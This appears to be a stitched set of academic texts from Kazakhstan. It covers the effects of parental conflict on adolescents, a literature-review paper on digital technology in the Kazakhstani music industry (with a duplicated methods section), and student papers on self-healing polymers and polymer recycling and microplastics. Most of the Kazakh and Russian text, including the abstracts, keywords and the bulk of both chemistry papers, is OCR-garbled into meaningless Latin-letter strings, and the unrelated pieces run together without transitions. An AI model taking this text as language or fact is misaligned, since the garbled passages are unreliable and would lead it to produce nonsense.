In adolescents, parental conflicts may manifest as negative beliefs and experiences in romantic
relationships, feelings of loneliness, difficulty in resolving conflicts and managing emotions,
aggressive behavior in relationships, low self-esteem, and poor academic performance. During this
period, the child may exhibit various "escape responses," such as truancy, alcohol and drug use,
running away from home, self-harm, or engaging in unlawful behavior.

The negative manifestations of a child's emotions are often misinterpreted as a result of poor
parenting by one or both parents. It is important to understand that this is not always the case; the
issues listed above are typically observed in children who have faced family conflict, and it is not
immediately accurate to blame the parents.

When parents behave constructively around conflicts, the mental health of children improves.
Parents can engage in calm discussions together, focusing their attention on solving the problem.
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It may even be beneficial for parents to gently touch each other while talking or to use humor, as
this can have a reinforcing effect on children. When children see their parents resolving
disagreements, they feel that their family is safe and secure.

Some of the studies have shown that when parents resolve conflicts more constructively with
interventions, solve problems together, and communicate kindly with each other, there are short-
term improvements in the children's mental well-being. Interventions that promote healthy
parenting practices and enhance the mental health of parents are also effective. Children are
further protected from the impact of parental conflicts through meaningful relationships with
classmates, other adults, or siblings.
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Abstract. This work is dedicated to studying the impact of digital technologies on the music
industry in Kazakhstan. The research includes an analysis of theoretical literature focusing on the
transformation of business models, methods of content creation and distribution, and copyright
protection issues in the digital environment. Key trends and challenges facing the music industry
in the context of digitalization are examined. It is shown that digital transformation requires a
comprehensive approach that considers technological, legal, and cultural aspects. The conclusion
emphasizes the need for the Kazakhstani music industry to adapt to the new realities of the digital
economy and identifies directions for further research aimed at developing practical
recommendations for market participants.
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AHHOTaUMA. HacToAwan cTaTbA NOCBALLEHA MCCNef0BAHMIO BANAHNA LMOPOBbLIX TEXHOOMMI
Ha My3blKaNbHYO WMHAYCTPUIO KaszaxctaHa. B pamKkax wuccnenoBaHMA NpoBeAeH aHanus
TEOPETUYECKON /UTepaTypbl, MNOCBALLEHHOM TpaHchopmaumm bOusHec-moaener, cnocobos
CO3[aHMA W PACNpPOCTPAHEHMA KOHTEHTa, a TaKXe npobaemam 3aliMTbl aBTOPCKMX MpaB B
undpoBoI cpese. PaccMOTpeHbl KAto4eBble TEHAEHUMN M BbI3OBbI, CTOALLME Nepes My3blKaabHOM
WHAOYCTPUEN B ycnoBuax umdposmlaumu. oKasaHo, 4To UMdposas TpaHchopmauma TpebyeT
KOMM/IEKCHOrO MOAX0/1a, YYMTbIBAOLLErO TEXHOMOTMYECKME, MPaBOBbIE U KY/IbTYPHbIE ACMeEKTbI.
CaenaH BbIBOA, O HEODXOAMMOCTM aZlanTalmM Ka3axCTaHCKOM My3blKalbHOM MHAYCTPUM K HOBbIM
peannam UunMbpoBOM IKOHOMUKM N oNpeaeieHbl HanpasBaAeHUa ANa AafbHENLINX UCCAed0BaHNM,
HanpaBEHHbIX Ha Pa3pPaboTKy NPaKTUYECKMX peKOMeHAAUMM A5 Y4aCTHUKOB PbIHKA.

Kntouesble cnoBa: LndpoBbie TexHONOrMKW, My3sblKanbHaa WHAYCTPMA, KasaxcTaH,
undpoBM3aLMs, aBTOPCKOE NPaBo, HU3HEC-MOAENMN, CTPUMUHT, LMPPOBAA SIKOHOMMKA.

MY3bIKA CANACBIHOAFbI LIM®OPAbIK TEXHONOTUANAP
KA3AKCTAH

AHaaTna: byn »Kymbic Ka3aKCTaHHbIH My3blKa MHAYCTPUACbIHA LMOP/IbIK TEXHONOTMANAPAbIH,
aCepiH 3epTTeyre apHanfaH. 3epTTey aacbiHAoa 6uU3Hec-moaenbAepAiH, KOHTEHTTI Kypy KaHe
TapaTy SAiCTepiHiH, TpaHCPOPMaUMACbIHA, COHAAM-aK UMOPAbIK OpTaZafbl aBTOP/bIK KYKbIKTbI
KOpfay macenenepiHe apHanfaH Teopuanbik aaebuettepre Tangay Xyprisingi. Undbpnaanabipy
afaamblHAQ My3blKa MHAYCTPUACBIHLIH, anAblHAA TYPFaH Herisri TeHAEHUMANAP MEH KMbIHAbIKTAP
KapacTbipbingpl. LUndpablk TpaHCcPOpmaLMA TEXHONOTUANBIK, KYKbIKTbIK KaHEe M3AEeHM
acneKTinepai eckepeTiH KelleHAai Tacinai Tanan eTeTiHi KepceTingi. KopbiTbiHAbIAa Ka3aKCTaHHbIH,
My3blKa MHAYCTPUACBIHBIH, UMPPAbIK IKOHOMMKAHbIH, KaHa LWbIHABIKTapbiHA OerimaenyiHiy
KaXKeTTiniri atan eTifin, HapblK KaTbICyWblNapbiHa apHanfaH MNPAKTUKaAAbIK YCbIHbICTapAbl
a3ipneyre HafbITTaNFaH o4aH api 3epTTeynepain, 6afbiTTapbl aHbIKTaNAbI.
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Tyningi  ce3sgep: LUndpnabik  TexHonoruanap, Mysblka MHAyCTpuAckl, KasakcTaH,
urdpaHabIpy, aBTOP/IbIK KYKbIK, B3HEC-Moaensaep, CTPUMUHT, UMPPIbIK SKOHOMMKA.

Introduction

The modern stage of the development of Kazakhstan's music industry is marked by the deep
penetration of digital technologies, which are fundamentally transforming traditional business
models, approaches to the creation, distribution, and consumption of music content. The digital
transformation, which began in the late 20th century, has given rise to new platforms and tools,
providing musicians and producers with unprecedented freedom of expression and direct
engagement with their audience. However, alongside its obvious advantages, digitalization
presents serious challenges for Kazakhstan's music industry that require solutions. These include
ensuring copyright protection in the digital environment, developing effective content
monetization strategies, and adapting swiftly to constantly changing audience preferences and
new music consumption formats.

At the present stage of the industry's development, the ability to effectively utilize digital tools
and platforms has become a key success factor. It is essential to understand how streaming
services, social networks, and music distribution and promotion platforms function, as well as how
to develop a successful digital marketing strategy. Traditional business models need to be adapted
to new conditions, and new content formats must be created, taking into account the specific
characteristics of the digital environment. Additionally, sustainable revenue sources must be
established despite the challenges of piracy and the widespread availability of free content.
Equally important is the adaptation of legal mechanisms to the digital environment. Copyright
legislation must be improved to ensure effective protection of musicians' and rights holders'
interests in the digital space. Furthermore, the development of a collective rights management
system is necessary to simplify the process of licensing and collecting royalties from digital
platforms. Addressing these issues requires an in-depth analysis and a comprehensive approach
that takes into account the interests of all participants in the music industry.

Materials and Methods

The aim of this study is to conduct a comprehensive analysis of the impact of digital technologies
on Kazakhstan's music industry, including the processes of music content creation, promotion, and
consumption. The research is theoretical in nature and is based on a wide range of academic
sources. The methodological foundation includes fundamental works in the fields of cultural
economics, sociology of music, and media studies, as well as studies on the digital economy and
its influence on creative industries.

The key research method is the analysis of existing theoretical approaches to the study of digital
transformation in the music industry. In particular, the study will examine concepts that explain
the evolution of business models, the emergence of new forms of music content consumption,
and the transformation of the roles of musicians and producers in the digital environment. Special
attention will be paid to research on the impact of digital technologies on copyright protection
and music content monetization.

Materials and Methods

The aim of this study is to conduct a comprehensive analysis of the impact of digital technologies
on Kazakhstan’s music industry, including the processes of music content creation, promotion,
and consumption. The research is theoretical in nature and relies on a wide range of academic
sources. The methodological foundation includes fundamental works in the fields of cultural
economics, sociology of music, and media studies, as well as studies on digital economy and its
influence on creative industries.
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The key research method is the analysis of existing theoretical approaches to the study of digital
transformation in the music industry. In particular, the study will examine concepts explaining
changes in business models, the emergence of new forms of music content consumption, and the
transformation of the roles of musicians and producers in the digital environment. Special
attention will be paid to research on the impact of digital technologies on copyright protection
and music content monetization.

Results and Discussion

This study, dedicated to the influence of digital technologies on Kazakhstan’s music industry,
requires a critical review of existing literature to establish a theoretical foundation and identify
key trends. A vast body of research in this field examines various aspects of digital transformation,
providing valuable insights into the ongoing changes [1].

A significant portion of studies focuses on general theoretical issues of digital economy, analyzing
fundamental concepts such as digitalization, digital distribution, and consumption. These studies
explore new business models emerging in the digital environment, with special attention to
platforms that provide access to music content, such as streaming services and online stores.
These works lay the groundwork for understanding the general patterns of digital economy
development and determining the place of the music industry within this process [2].

Another important area of research focuses on the transformation of the music industry itself
under the influence of digital technologies. This includes changes in the roles of musicians and
producers, the emergence of new ways to create and promote music, and the transformation of
relationships between artists and audiences. Special attention is given to the impact of social
media and online platforms on shaping musical preferences and content distribution. These
studies help to understand how digital technologies are reshaping the structure of the music
industry and influencing its core processes [3].

An essential aspect is the study of issues related to copyright protection in the digital environment.
Research in this field analyzes various forms of piracy, illegal distribution of music content, and
methods of combating these phenomena. The legal framework regulating copyright in the digital
space is examined in detail, and its effectiveness is assessed. These studies help to identify
challenges associated with copyright protection in the digital environment and determine
necessary measures for their resolution [4].

Many studies also focus on analyzing international experience in the digitalization of the music
industry. Successful cases of implementing digital technologies, as well as lessons learned from
failures in other countries, are analyzed. In particular, regulatory frameworks used in different
countries to protect copyright in the digital space are studied, and their effectiveness is evaluated.
Examining international experience helps to identify best practices and avoid repeating mistakes
when developing and implementing a digital strategy for Kazakhstan’s music industry [5].

Despite the abundance of research on the impact of digital technologies on the music industry,
there is a noticeable lack of studies that take into account the specifics of the Kazakhstani market,
culture, and legislation. Existing works are often general in nature and do not reflect the unique
features of Kazakhstan’s context. Thus, this study aims to fill this gap by offering a comprehensive
analysis of the impact of digital technologies on Kazakhstan’s music industry, considering its
specific characteristics.

Chris Anderson, the author of the "Long Tail" concept, analyzes in detail how digital technologies
expand opportunities for niche artists and genres, allowing them to find their audience and create
sustainable revenue streams outside the traditional industry framework. His ideas on the
"democratization" of content and the reduction of market entry barriers are essential for
understanding the transformation of the music industry in the digital age. In the context of
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Kazakhstan, an analysis of the "Long Tail" concept can help identify promising directions for the
development of local music genres and support independent artists.

David Kuseedi, on the other hand, is one of the leading experts in the field of copyright and digital
economy. His works focus on analyzing copyright protection issues in the digital environment and
developing effective content monetization mechanisms in the face of piracy and free distribution.
In the context of Kazakhstan, studying Kuseedi’s work can help in developing effective strategies
to combat illegal distribution of music content and creating a sustainable copyright monetization
system [6].

Conclusion

The conducted analysis of theoretical literature allows us to conclude that digital technologies
have a profound and multifaceted impact on Kazakhstan’s music industry. Digitalization has led to
the transformation of business models, methods of content creation and distribution, as well as
the relationships between musicians and their audiences. At the same time, new challenges arise,
including copyright protection, content monetization, and adaptation to changing consumer
preferences.

The necessity for Kazakhstan’s music industry to adapt to the new realities of the digital economy
requires a comprehensive approach that considers technological, legal, and cultural aspects.
Further research should focus on studying the specifics of the Kazakhstani market and developing
practical recommendations for musicians, producers, and organizations involved in copyright
protection. The successful integration of digital technologies into Kazakhstan’s music industry will
not only enhance its competitiveness but also expand opportunities for the creative self-
realization of Kazakhstani musicians.
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Chemical Sciences

©34IINHEH KAJITTBIHA REJETIH
NONNMEPHEP: TYPAKTBI MATEPUAJIAAP
[2YIP]

NnamaH A.B.

K. *KybaHoB aTbiHAafbl AKTebe eHipaik yHuBepcuTeTi, 6B01504 «Xumuna» bb 4 kypc
CTYAEHTbI

Kanabibaesa A.[.

K. *ybaHoB aTbiHAafbl AKTebe eHipaik yHuBepcuTeTi, 6B01504 «Xumuna» b6 4 kypc
CTYAEeHTbI

AHHOTaUMA

byn maKanana e3airiHeH KasnblHa KeNeTiH NoOAMMePAepaiH KacneTTepi, 0napablH XyMbIC icTey
MEeXaHU3MAEPI KoHe 3aMaHaym TexXHOo/orManapaa KoNAaHblly MYMKIHAIKTEPI KapacTblpblaadbl.
MyHZaM noammepaep MexaHMKanblK 3aKkbIMAaHy KesiHae e3iH-e3i KannbiHa KenTtipe anagpl, byn
oNapAblH, KbI3MET eTy Mep3iMiH y3apTyfa KoHe 3KOJIOTUA/bIK MKYKTEMEHI a3anTyfa MyMKiHAiK
bepeni. XMMMUANbIK KaHe QGU3MKaNbIK MEXaHM3MAEp HerisiHae KaimnblHa Keny npouecTepi
TaA4aHbIM, 0NapAblH 3NEKTPOHNKA, MeAMLUMHA, KOJIK KaHe a3pOoFfapblll CanasiapbiHAaFbl KONAaHy
anacbl 3epTTenreH. KasaKcTaHAafbl dKOMOTMANbIK Kafoalbl KaKcapTy MakcaTblHAA OCbiHAAM
MmaTtepuangapabl eHAIPY MeH KOAAaHYAbl AaMbITY YCbIHbINAAbI.

KinT ce3gep

©34iriHeH KannblHa KeneTiH MNOAMMEPAEep, 3KONOTMAAbLIK TypaKTbl mMaTepuangap, noanmmep
XMMWACHI, AMHAMMKAbIK KOBANEHTTIK HalnaHbIiCTap, HAaHOTEXHONOMMA, MaTepuanTaHy, CMapT-
mMmaTepmnanaap, SKONAOrMANbIK MHHOBALMANAP.

Kasipri 3amaHfbl MaTepmnanTaHy cafacbiHAarbl MaHbI3Abl KETiCTiIKTepAiH, bipi — e3airiHeH
KannblHa KeneTiH NoAMmepAnepaiH, Aamybl. byn maTepuangap 3aKpiMAanfaH »Kafganga es
KYPbIIbIMbIH KanMblHa KeAnTipe anadbl, OCblAailla ONapAblH KbI3MET eTy Mepsimi y3apTbim,
nanganaHy TMiMAiNiriH apTTbipadbl. TaburatTasbl Tipi OpraHU3MAEPAiH, *KapakaTTaH KeliH ©3iH-63i
emey KabineTiHe ykcac 6y KacueT FbiNbIMAA epeKLLE Kbi3bIFyLLbIbIK TYAbIPbIM OTbIP.

Kasipri TaH/da 3KOMIOMUANLIK, Macesienep a/leMHiH, Bap/blK TYKMipiHae e3eKTi 6o/bin oTbIp.
9cipece, NNAaCTUK KanAbIKTapblHbIH KOpLlafaH OpTafa TUMI3eTiH 3MAHbI Typasbl KBNTEreH fblabiMK
3epTTeyaep Kyprisifin, wewy »Xongapsl KapacTblpblayaa. MAacTUKTIH bldblpay npoueci eTe y3akK
YaKbITTbl Tanan eTteni, COHAbIKTAH OHbIH KanAblKTapbl TabufaTTa »Ky3ZereH Kbingap Oobl
CaKTa/ibiM, 3KOXKyMere Kepi acepiH Turizedi. byn maceneHi »eHinaetyaiH 6ip TMimai konbl —
@3/iriHeH KannblHa KeneTiH noaumepnepdi kKonaaHy[1].byn kaHa OybiH maTepuanaaps
MeXaHMKaNblK 3aKkbiIMAaHfaH »Kafdanga e3iH-e3i KeHael anagpl. AfHW, erep maTepuania
apblKLLaK Hemece cbi3aT nanga 6osnca, on 6enrini 6ip cbIpTKbl GaKkTOpPNAPAbIH, SCEPiHEH KaMlTa
HbacTankbl KannbiHa Keneqi. by npouecc apTypi *KONAAPMEH Ky3ere acybl MyMKiH: TeMMNepaTypa
©3repici, XMMUANBIK peaKkumMsanap HemMece CbIPpTKbl CTUMYAAapAblH acepi apKblabl. MyHaamn
TexHonormanap OVriHr TaHAa 31EeKTPOHMKA, TYPMbICTbIK, TEXHMKA, KYPbIIbIC KIHE aBTOKOJIK
BHJIpICiHAE YNKEH KbI3bIFyLblbIKKa ne.byn nonnmepnepain epekiue KacueTi — CbIpTKbl acepaeH
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3aKbIMAaHFaH Ke3ae MONeKynanblk AeHrenge e3firiHeH KannbiHa Keny KabinetiHae. MyHaam
NPOLECC ekKi Heri3ri MexaHu3mre Herizaenefi: XUMUASbIK KaHe GU3NKabIK.

XUMMANBIK MexaHM3Maepre AMHAMMKaNbIK KOBaNeHTTiK 6alnaHbicTap Kataabl. Mbicansbi,
Onnbc-Anbaep peakumAacbl CUAKTbI KAMTbIMAbl PeaKkUMANap apKblabl NOAMMEP KYPblAbIMbl KaiTa
Ty3ineni. CoHbiIMeH KaTtap, AncynbduATiK HGalnaHbICTap »Kapblk, HEMece TemnepaTypa acepiHeH
KalTa KYPblabin, maTepuaniblH, 6epikTiriH KaanbiHa KenTipyre mymkiHaik 6epea|2].
®du3MKanblKk MexaHuImaepre CyTekTik 6alnaHbicTapdblH, Ty3inyi »kaTaabl. byn 6alnaHbictap
3aKbIMAAaHFaH alimMakTa MOJIeKkynanapdblH Kanta Ty3inyiH KamTamacbl3 etefi. MoOHAbIK ©3apa
apeKeTTecynep Ae NOAMMEPAIH cepniMmainirin apTTbipbin, ©3iH-63i Ka/MnbiHa KenTipyre »Karfaan
»acanabl [3].

Kasipri TaHaa e3airiHeH KannblHa KeneTiH noammepnep bipHele Typre 6eniHen). bipiHuici —
XVMWANBIK peaKkuMAanap apKbllbl KannblHa KeneTiH nonvmepnep. MyHAanm matepuangap
3aKbIMAA/IFaH Ke34e XMMUAMbIK PeakuManap *Kypeai, HOTUKeCiHAE 0N1apAblH KYPbl/IbIMbl Ka/iMblHA
Kenegi.

EKiHwici — ¢&uM3MKanblK ©3apa apeKeTTecynep apKblibl KaanbiHa KeneTiH noaumepnep. byn
npouecTe CyTekTik OainaHbIiCTap Hemece BaH-Aep-BaanbC KywTepi MaHbI3Abl pen aTkapaabl.
YWiHWi Typi — CbIPTKbl QaKTOp/apAblH, SCEepiHEeH KaanblHa KeneTiH noaumepsep. MKapbik,
TemnepaTypa Hemece pH AeHreniHiH e3repyi NOAMMEPAIH KanTa KypblyblHa biKknan eTeai.
©3airiHeH Ka/inblHa KeNeTiH MOANMEPAEPAiH KONOAHY asacCbl 6Te KeH. DNeKTPOHMKa casacbiHAa
MyHZal MaTepuangap CMapTOOH 3SKPaHAAPbIH, MKEMAI KYPbIAFbIapabl KaHe CeHcopnapabl
3aKbIMAAHFaH Kaf4alaa KannbiHa Kentipe anaabl. byn KypblafblaapablH, KbI3MET eTy Mep3imiH
y3apTyfa KemekTeceai [2].
MeanumHada ©34irHeH KannbiHa KeneTiH MNOJMMEpPNEp XUPYPIUAbIK KiNnTep MeH Xapa
TaHfbILTAPbIHA KONAAHbINAAbl. byn matepuaniap HayKacTblH Cayblfy NPOLECIH XblagamaaTsln,
KOCbIMIIA eM-A0M KaKeTTifiriH asantagpl. CoHpar-ak, Ouononmmepnep TiHAEpAl KaanbiHa
KenTipy ywiH Ae nangananblnagpel [2].Kenik canacbiHga 6yn matepuangap aBToMoOUAbAIH CbIPTbIH
abyFa KONAaHblNaAbl, CbI3aTTap MEH YCaK 3aKbIMAApAbl ©34iriHeH Kotofa MYMKIHAIK Depes;.
A3pofapblll canacbiHAa MyHAAW maTepuangap YWy annapaTtTapbiHbiH, OepikTiriH apTTbipbIn,
KYPbINbIMAbIK 3aKbIMAAPAbIH anabiH anagpl [3].
Kasipri 3eptreynep
byn canapgafbl 3epTreynep KapKblHAbl Aambln Keaedi. Mbicanbl, CuHranyp ¥ATTbIK YHUBepPCUTETI
benme TemnepaTypacbiHAa OipHelle CeKyHA iWiHae KannbiHa Kese anaTblH MKemAi noavmep
»acan wolfapabl. An FapBap/ fanbiMaapbl Cy acTbiHAA KanmblHa Keny Kabineti 6ap matepuanibl
a3ipneai, byn TeHi3 KypblAFblNapbiH KOpFayda epekile maHbi3asl [4].
onemaik Taxipnbeaeri xobanap

. Eyponanbik OpakTbiH Horizon 2020 6araapnamacsl: ©34iriHeH KannbiHa KeneTiH
mMmaTepuanaapabl aBTOMOOWb KaHe aspofapblll canacbiHAa KondaHy 6onbiHwa bipHelle »Koba
iCKe KOCbI/1abl.

. anoHuanarbl Toyota 3epTxaHanapbl: ©3iH-e3i KannbiHa KeTipeTiH aBToMobub

)abblHAAPbIH a3ipneyre bafbITTanFaH 3epTTeyaep XKyprisyae. byn xabblHAoap ycak cbi3aTTapabl
©3irHEH K0 anapl.
MNonnmepnepai eHaipy agictepiHiH, 6ipi — MMKpoKancynanay. byn tacinge nonvmep KypblibiMbiHa
apHalbl MUKPOKancyanap eHrisineni. 3akpimaaHsaH Kesde Kancyianap Kapblaaabl 4a, iWiHaeri
Ka/nblHa KenTipywi areHT 3akbiMZanfaH arMakTbl Ty3en wblfagbl. CoOHAamM-aK, AMHAMMKANbIK,
KOBANEHTTIK XMMUA SAiCI Wi KONAaHbINaabI.

©34iriHeH KannblHa KeneTiH MaTepuangapbli, 6acTbl Naaackl — NAACTUK KaAAblKTapblHbIH,
KenemiH asaiTy.Mbicanbl, TenepoH KOpnycTapbl Hemece TYPMbICTbIK TEXHWKaZa OCblHAAN
nonvmepnaep naraanaHblaca, 0Nap y3ak yakbIT KbI3MeT eTesi. byn e3 KeseriHae »aHa eHimaepai
BHAIpYyre KaXKeTTi LWMKI3aTTbl YHEMAEYre KaHe KOplafaH OopTafa TYCETIH )KYKTEMEeHi a3anTyfa
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KemeKkTecedi. KazaKCTaHAa 3KOAOTMANbIK axyanbl KakcapTy YWiH MyHAaW TexHOAorManapAabl
€Hri3y aca MmaHbI3abl.
CmapTt-maTepuangapabid, 60nallasbl }KaHe FblbiMU 3epTTEYAED

©34iriHeH KanmnblHa KeneTiH Noanmepaep CMapT-maTepuangap KOHUENUMACbIH AaMbITyfa YKeH
ynec Kocaapbl. Kasipri 3epTreynep O6yn maTepuangapiplH  KanmnbiHa Keay KblAAaMAblFbiH
apTTbipyFfa, TemnepaTtypara TayendiniriH ToMeHAeTyre KaHe MexaHWKablk BepiKTiriH KywenTyre
HarbITTanfsaH.

KasakcTaHaa Oyn OafbiTTafbl 3epTTeynepai KywewuTy MaHbi3abl. FbiabiMW OpTanbiKTap MeH
YHUBEpPCUTETTEPAE OCbIHAAM MaTepuangapdbl 3epTTerTiH apHalbl 3epTxaHanap Kypblaica,
OTaHAbIK FanbiMaap 6yn canaga y/IKeH KaHaNblKTap ala anagbl.

Ka3aKCTaH YLWiH YCbIHbICTAp

1. fblabiMu 3epTTeynepdi AambiTy — e3/4iriHeH KamnblHa KeeTiH Nofnmepnepai 3epTTenTiH
apHambl }kobanap ymbiMaacTbipy. bya xac fanbimaap MeH CTyaeHTTepre Taxipnbe KuHayra
MYMKIiHAIK 6epea,.

2. OHAipicTi »KonFa Ko — By TeXHONOTMAHbLI NaganaHa oTbipbin, Ka3akcTaHaa oTaHAbIK,
OHAIPIC OpbIHAAPbIH ally. JKOMOTMANLIK Ta3a maTepuaniap LWblFapy apKblibl enjix,
FbINbIMM KOHE SIKOHOMMUKA/bIK SN1eyeTiH apTTbipy.

3. binim 6epy KyheciHe eHrisy — MeKTenTep MeH YHUBEepPCUTETTEpe *aHa matepuangap
Typanbl 6inim HBepyai KywemnTy. 3epTXxaHaiblK XKYMbICTap YMbIMAACTbIPbLIN, CTyAEeHTTepre
ToXRipMbenik MyMKiHAIKTep *acay.

4. JKonornanblk GactamanapAbl KONAay — TYPMbICTbIK 3aTTap, KYPbIAbIC KaHE aBTOKONIK
canacblHAA OCbIHAAW MaTepuanaapabl KeHiHEeH KONAAHY apKblabl KanablKTapabl a3anTy.

5. MHBecTMumMA TapTy — MEMIEKET MNeH »Keke BU3HeC KaHa TEXHONOrMANAPFa KapKbl benin,
MHHOBaLMANDBIK 0banapabl Kap*KblNaHAbIPYbl THIC.

KopbITbIHAbI

©34iriHeH KannblHa KeneTiH noanmepnep — HonalwakTblH, TexHonoruAcel. Erep KasakcTtaH 6yn
canaga OenceHAinik TaHbITbIN, FblAbIMW 3epTTeynep MeH OHAIPICTI Kondaca, 3KONOTMANbIK,
Macenenepai Wwewin KaHa KOMMan, MHHOBALMANBIK SKOHOMMKafa Kadam Haca anagpl. byn Tek
KOpLafaH OpTa YLWiH emec, enfiH TEXHOMOTUANBIK AaMybl MEH FblbIMW S/1eyeTi YILIH Ae MaHbI3abl
HarbIT 6OAMaK.
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NONMMEP KA/IABIKTAPBIH KAMTA
OHAEY/IIH SKOMOTUANBIK KIHE
IKOHOMMKASIbIK ACMIEKTINEPI:
PELIMKAMHT NEH
MUKPOMNACTUKTEPAIH MOCE/E/EPI

KaHanbaesa AKkKyHUC KeHecbanKbi3bl

K.*ybaHoB aTbiHAafFbl AKTebe BHipaik YHMBepcUTeTiHIH 4-Kypc 6B01504 cTyaeHTbl,
KasaKkcTaH, AkTebe

Mapbekosa Aunbdysa KnbibeKKbi3bl

K."ybaHoB aTbiHAafbl AKTebe BHipAik YHMBepCUTETIHIH, 4-Kypc 6B01504 cTyaeHTbl,
KasakcTtaH, AkTebe

Antaesa 'ynHap CamaTKbi3bl

FbINbIMM XKeTeKLWi, XMMMA FbINbIMAAPbIHbIH KaHAMAATbI, K.XKybaHOB YHMBEPCUTETIHIH,
«XUMUSA KIHE XUMUANBIK TEXHONOMMAY KabeapacbiHbIH, AOLLEHTI

AHHOTaUMA: MaKanaga noAMMep KandblKTapblH KanTa  eHaeydiH  (peumKanHr)
9KOJIOTUANBIK, KOHEe SKOHOMMKA/bIK Macenenepi KapacTblpblifaH. MNoanMmep KanablKTapbiHbIH,
TYp/epi, onapaplH, KanTa eHAeY MYMKIHAIKTEPI KaHe weKkTeynepi cunaTttanaabl. COHbIMEH KaTap
TYPMbICTbIK ~ KaTTbl  KaiAblKTap KypamMblHAafbl MOAMMEP OHIMAEpiHiH  PparmeHTaumAch
HaTUMKeCiHAEe Naiaa 6onaTbiH MUKPOMACTUKTEPAiH KOPLUAFaH OpTaFfa KaHe aaam AeHcay/lblfbiHa
acepi TangaHaabl. Monumep KanaplKTapbiH TUimAi 6ackapy, Kanta eHaey TexHOJornanapbiH
[AMbITY 2HE MUKPOMAACTUKTEPAi a3aiTy }OoN4apbl YCbIHbINAAbI.

Annotation: The article discusses the environmental and economic problems of polymer
waste recycling (recycling). The types of polymer waste, their processing capabilities and
limitations are described. It also analyzes the impact of microplastics on the environment and
human health, which are formed as a result of fragmentation of polymer products in solid
household waste. Effective management of polymer waste, development of recycling
technologies and ways to reduce microplastics are proposed.

KinT ce3sgep:Monmmep KanablKTapbl, PEUMKAWMHE, MWUKPOMAACTUK, TYPMbICTbIK KaTTbl
Kanabiktap (TKK), 3Konormanblk —Kayincisgik, KahTa eHAaey TexHONoruanapbl, MAacTuK
KaNabIKTapbl, TYPaKTbl laMy, eKiHLI PETTIK LWMKI3aT, KanaplkTapabl 6ackapy.

Keywords:Polymer waste, recycling, microplastics, household solid waste (MSW),
environmental safety, recycling technologies, plastic waste, sustainable development, secondary
raw materials, waste management.

Kipicne. Monnmepni matepuangapiblH, KeHiHEH KONAAHbINYbI KIHE 0NapLblH TYPMbICTbIK,
KaTTbl Ka/NAbIKTAp KypaMblHAA VKEH y/aecC anybl 3KONOTMANLIK Macenenepli KypLeneHaipeai.
Monumep KanAblKTapbl KopllafaH opTaZa Y3aK YakbiT 6o0Wbl  blAblpaManTbIHAbIFbIMEH
epeklieneHeai. byn xaraaln MUKPONAACTUKTEPAIH Ty3inyiHe aHe onapAblH, dKoXKyMenepre tepic
acep eTyiHe anbin Keneai. OcblFaH 6aNaHbICTbl NOAMMEDP KaNAbIKTapbiH TUiMAI 6ackapy, COHbIH
iWiHAE PEUMKAMHI 3A4iCTEPIH MKETINAIPY KOHE MUKPOMIACTUKTEPAIH, TY3iNYiH a3anTy Kasipri TaHaa
©3eKTi macesie 6onbin Tabblnabl.
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MNonnmep KangblKTapblHbIH HEri3ri Typaepi aHe onapabiH Yaeci.

TYPMbICTbIK ~ KaTTbl KaAZblKTap KypamblHAa €H Kemn Ke3deceTiH noaumepaepre
nonmatuneHtepedtanat (M3T), noannponuneH (MM) xaHe nonnctupon (MC) kaTaabl. OpTalla
ecenneH anfaHga, TepT aJamMHaH TypaTblH OTOACbl bliblHa 9 KIr MoAMMep KaaAblKTapbiH
woifapadbl. OHbIH, iWwiHae M3T neH MM KanabikTapsl 86%-4bl Kypandbl. [MOANCTUPON KanablKTapsbl
as ysiecke me 6onfaHbIMEH, ONapAdblH KOpLUafaH opTa MeH adam AeHCay/blfblHa TUTi3eTiH acepi
wofapsbl. [1]

KasakcTaH meH Peceit memnekeTTepiHAeri NnonMmepnepai Kalta enaey (PeumkauHr)
XYMECIHIH, TUIMAINIKTEPIH CanbICTbIPY

MNonnumepnepai KanmTa eHAEY — 3KONOMMANbIK KOHE 3KOHOMMKAJbIK TYPFblAaH MaHbi3dbl cana.
KasakctaH meH Pecelt 6yn 6afbiTTa TypAi AeHrenae Aamyaa, onapablH, 9pKaMCbiCbiHAA ©3iHAIK
epeklLeniktep MeH macenenep bap.

1.Monnmep KanaplKTapbliHbIH KBAEMI KaHe KalTa eHaey AeHreli
Pecelge *bln canbiH 3,5—4 MAH TOHHA NAACTUK KanablKTapbl Ty3ineai, oHbiH WwamameH 10%-bl FaHa
KaWTa eHaeneni. KazakctaHaa 6yn kepceTkiw anaekanaa TemeH: 100 MblH TOHHA KanablKTbiH TEK
3,5 MbIH, TOHHachI (3,5%) FfaHa KalTa eHaeneqi. byn PeceMmeH canbicThipraHaa anTapablikTal as.[2]

2. KalTta eHaey MHbPaKypbIibIMbl
Pecerige nonumepnepni Kanta eHAeymeH aWHanbicaTblH 2500-g4eH actam KacinopbiH bap.
OnapaplH, iWiHAe eH, ipi KeweHaepAiH b6ipi — TexHononuc «Xumrpaa» (KasaH Kanacbkl), on
nonmMmepaepai KeweHai eHaeyaiH Tmimai moaeniH kepceteai. CoHbimeH KaTap, Mackey, CaHKT-
MeTepbypr koHe KaslaH CMAKTbI ipi Kananapaa Kanapiktapabl 6enek »KuHay KyMeci »KaKcbl
AaMblFaH.

KasakcTtaHga 6yn cana ani gambin Kenedi. Kasipri yakbitta 130-Fa XKyblK KaCimOpbIH
YMbIC icTeni, bipak onapblH, 6HAIPICTIK KyaTbl Pecelimen casbiCTbipFaHia a/14eKkania TOMEH.
CoHbIMeH KaTap, KanablkTapabl 6eneK KuHay Kymeci KeTKiNikTi aeHrenae aambimaraH, byn KaiTa
eHAey TUIMAINIriH TomeHaeTea,. [3]

3. MemnekeTTiK Konaay *KaHe 3aHHaMablK 6a3a
Pecelige nonumepnepai KanTa eHAeyAi bIHTAaNAHAbIPY YWiH MeMAeKeT KaTTbl TYPMbICTbIK,
Kanabiktap (KTK) pedopmacbiH eHrisai. CoHbIMeH KaTap, OHAipylwinepaiH KeHeuTtinre
MiHaeTTemenepi (BKM) 6afgapnamacbl 60MbIHIWA NAACTUK OHIM eHAipYyLWiNepiH KaTa eHaeyre
KapKbl benyre miHaeTTenai. byn Kanta eHaey canacbiHbliH AaMYbIH KeaenaeTin oTbip.
KasakcTtaHaa na ©KM barmapnamachl *Kymbic ictenai, 6ipak oHbIH TUiMAiniri Peceire KaparaHaa
ToMeH. [lereHMeH, COHFbl KblAAapbl MeMIEKeT TaparblHaH Koagay apTbin Keneai. Mbicansi,
«EcoQolday» ©arpapnamackl kaHe 2024 KblidblH, Haypbi3biHAA KabblngaHFaH  «»Kacbli»
